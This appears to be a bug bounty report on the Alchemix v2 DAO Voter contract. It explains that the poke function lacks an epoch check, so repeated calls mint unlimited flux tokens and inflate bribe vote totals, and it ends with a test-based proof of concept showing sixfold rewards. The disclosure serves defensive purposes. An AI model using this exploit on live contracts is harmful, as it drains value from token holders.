31483 - [SC - Critical] Users can vote multiple times in one epoch
Submitted on May 20th 2024 at 05:58:18 UTC by @MahdiKarimi for Boost | Alchemix
Report ID: #31483
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Theft of unclaimed yield
Description
Brief/Intro
Users can mint unlimited flux by calling poke
multiple times
Vulnerability Details
The vote function at voter uses onlyNewEpoch modifier so users can vote only once per epoch and receive flux tokens, however, the poke
function that applies voting in the last epoch to the current epoch doesn't use this modifier and user can call it multiple times in one epoch and receive unlimited flux also, every time _vote
function is called in poke
, it resets the last voting and calls deposit at the bribe which inflates total voting at bribe so distributed rewards to bribe would be lost ( total voting used to calculate amount of rewards has been distributed per token )
Impact Details
Minting unlimited flux tokens leads flux price to 0 ( Direct theft of any user funds, whether at rest or in motion, other than unclaimed yield ) , the flux token is used as a reward for users but it's an ERC20 and can be traded in markets ( has some utilities ) so minting unlimited flux affects all flux holders ( not just rewarded users ) and leads to the loss of their assets that's why I believe it's considered direct theft of user funds.
Loss of distributed rewards at underlying bribes
References
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195-L212
Proof of Concept
function testVoteWithoutLimit() external {
// create lock token for user
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, veALCX.MAXTIME(), false);
// calculate the amount flux tokens that user should be able to claim in this epoch
uint256 token1Flux = veALCX.claimableFlux(tokenId1);
// assert user has no unclaimed flux
uint256 unclaimedFlux1Start = flux.getUnclaimedFlux(tokenId1);
assertEq(unclaimedFlux1Start, 0, "should start with no unclaimed flux");
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
// vote and calling poke multiple times
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
// as we see user has received 6 times more rewards as we called poke multiple times
uint256 actualFluxClaimed = 6 * token1Flux;
uint256 unclaimedFlux1End = flux.getUnclaimedFlux(tokenId1);
assertEq(actualFluxClaimed, unclaimedFlux1End);
}
Last updated
Was this helpful?